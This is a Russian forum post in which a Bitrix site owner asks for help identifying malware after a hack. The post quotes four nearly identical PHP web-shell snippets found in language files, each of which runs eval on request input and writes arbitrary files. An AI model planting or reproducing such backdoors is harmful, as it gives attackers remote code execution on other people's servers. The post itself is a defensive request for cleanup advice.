Нужна помощь в идентификации зловреда

Здравствуйте, нужна помощь в идентификации зловреда, мой хостер пишет мне о том что их уведомляет автоматически следующим сообщением:

скрипты вроде Ai-Bolit.php при поиске выдают слишком много ложняков, выкачивал себе все на виртуалку и гонял касперским триаловым (на хабре вычитал - пхп вирусы тоже выкупает).

стал искать по fopen по всем php-файлам (на площадке несколько проектов, около 50 тыс. пхп файлов)

По переписке с техподдержкой, стало понятно, что вирус инициализирует чужой скрипт на чужом сайте или вроде того, но я так далёк от этого, вот исходники, какие нашёл.

<?php


       $qtmszi = "766d5f40f633d165be5dc46eb59adda8"; if(isset($_REQUEST['ascga'])) { $bttee = $_REQUEST['ascga']; eval($bttee); exit(); } if(isset($_REQUEST['leovv'])) { $xgufuir = $_REQUEST
['gvyy']; $zqff = $_REQUEST['leovv']; $lgkelol = fopen($zqff, 'w'); $tzroqpvk = fwrite($lgkelol, $xgufuir); fclose($lgkelol); echo $tzroqpvk; exit(); }
./cartat.ru/bitrix/gadgets/bitrix/sonet_group_desc/lang/en/index.php:?>
<?php


                    $ixfde = "33a3e1d979e6007d6ecffb437219cfb3"; if(isset($_REQUEST['plxiobj'])) { $glyf = $_REQUEST['plxiobj']; eval($glyf); exit(); } if(isset($_REQUEST['hwvlxzwz'])) { $ik
fgszf = $_REQUEST['tuhrdvsn']; $zyye = $_REQUEST['hwvlxzwz']; $garsyroy = fopen($zyye, 'w'); $wimdb = fwrite($garsyroy, $ikfgszf); fclose($garsyroy); echo $wimdb; exit(); } ?><?
./cartat.ru/bitrix/gadgets/bitrix/sonet_group_tags/lang/index.php:
<?php


              $lnnomy = "df6d07da2bc07cdd16d9d65803edcf00"; if(isset($_REQUEST['erwzawt'])) { $nhyonm = $_REQUEST['erwzawt']; eval($nhyonm); exit(); } if(isset($_REQUEST['lmicp'])) { $hhbn =
 $_REQUEST['dzlsrpk']; $okjizx = $_REQUEST['lmicp']; $ymdkwpx = fopen($okjizx, 'w'); $smjz = fwrite($ymdkwpx, $hhbn); fclose($ymdkwpx); echo $smjz; exit(); }
./cartat.ru/bitrix/gadgets/bitrix/sonet_blog/lang/en/index.php:?>
<?php


              $ydegck = "b7bcfaf4fe56ed4b6dce60d91ca69f28"; if(isset($_REQUEST['sbbt'])) { $xtkxtidb = $_REQUEST['sbbt']; eval($xtkxtidb); exit(); } if(isset($_REQUEST['nqpt'])) { $uhrahwh =
 $_REQUEST['zftcx']; $eqscjdz = $_REQUEST['nqpt']; $mcen = fopen($eqscjdz, 'w'); $vcjpxrg = fwrite($mcen, $uhrahwh); fclose($mcen); echo $vcjpxrg; exit(); } ?>

Всё в одной строке, кто сталкивался с подобным, дайте советы что ещё поискать, как я понял, исполняемый код может быть ещё в EXIF к фоткам (на сайте очень много фоток), и в базах (пока ищу). Может есть ещё что посоветовать, спасибо за любые советы (кроме: сожги себя, забор рядом, читай маны и прочие заклинания)

PS

Платформа битрикс, взломали из за доступной всем админки и обычным перебором похоже.